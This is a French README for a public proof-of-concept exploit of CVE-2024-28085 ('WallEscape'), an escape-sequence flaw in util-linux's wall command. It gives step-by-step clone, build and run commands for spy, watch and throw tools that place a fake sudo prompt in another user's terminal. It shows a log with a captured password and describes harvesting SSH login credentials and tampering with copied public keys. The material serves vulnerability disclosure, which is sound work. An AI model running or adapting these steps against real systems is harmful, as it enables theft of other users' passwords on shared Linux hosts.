skyler-ferrante/cve-2024-28085Vulnérabilité WallEscape dans util-linux
La commande wall de util-linux ne filtre pas les séquences d'échappement des arguments de ligne de commande. Le code vulnérable a été introduit dans le commit cdd3cc7fa4 (2013). Toutes les versions suivantes ont été vulnérables. Un rapport complet peut être trouvé ici. J'ai surnommé ce bogue « WallEscape ».
Ce code d'exploitation a réussi à fuiter des mots de passe sur Ubuntu 22.04 avec les configurations par défaut.
Assurez-vous que la couleur de fond et le nom d'utilisateur sont définis sur des valeurs appropriées dans throw.c.
Configuration de l'attaque
git clone https://github.com/skyler-ferrante/CVE-2024-28085.git
./build.sh
./spy > proc.log & ./watch "sudo systemctl start apache2"; ./watch "systemctl start apache2"; sleep .01; ./throw
J'ai utilisé sudo systemctl start apache2 car c'est une commande courte avec peu de sortie. Assurez-vous de tuer spy après l'exécution de l'exploit : pkill spy.
Ensuite, dans un autre terminal
sudo su
sudo systemctl start apache2
Il se peut qu'il ne soit pas nécessaire que la victime appelle su selon le système et selon si l'accès est local ou via SSH.
Cela devrait faire apparaître le faux prompt sudo dans le terminal de la victime. Comme de nombreux systèmes divulguent les commandes introuvables, le mot de passe de la victime peut apparaître dans proc.log.
Exemple de proc.log
sudo systemctl start apache2
systemctl start apache2
./throw
bash
/usr/bin/python3 /usr/lib/command-not-found -- Password123!
/usr/bin/snap advise-snap --format=json --command Password123!
Certaines personnes ont mal compris dans quels scénarios cela pourrait être utilisé pour attaquer un autre utilisateur. Nous n'avons pas besoin d'attaquer sudo, nous pouvons attaquer partout où l'utilisateur saisit son mot de passe. Sur mon système, après qu'un utilisateur se connecte via OpenSSH, la commande /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new est exécutée.
Pour fuiter les mots de passe des utilisateurs OpenSSH, imaginez exécuter ce qui suit :
./watch "sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new"; sleep 1; ./throw
Nous pouvons ensuite envoyer un message « mot de passe incorrect » après qu'un utilisateur s'est correctement connecté via SSH. Sudo n'était que la commande que j'ai choisie pour la démo, mais il existe de nombreuses cibles possibles. Il n'est pas difficile d'imaginer un attaquant mettant en place un moissonneur d'identifiants pour récolter les identifiants de chaque utilisateur qui se connecte via SSH. Cela est possible même pour les utilisateurs les moins privilégiés, comme www-data.
Cette vulnérabilité donne également aux attaquants la capacité de modifier la sortie de n'importe quelle commande. Imaginez que nous attendions la commande cat ~/.ssh/id_rsa.pub". Un attaquant pourrait modifier ce que l'utilisateur copie pour sa clé publique. Dans ce style d'attaque, nous n'avons pas besoin d'une primitive de fuite pour les commandes introuvables.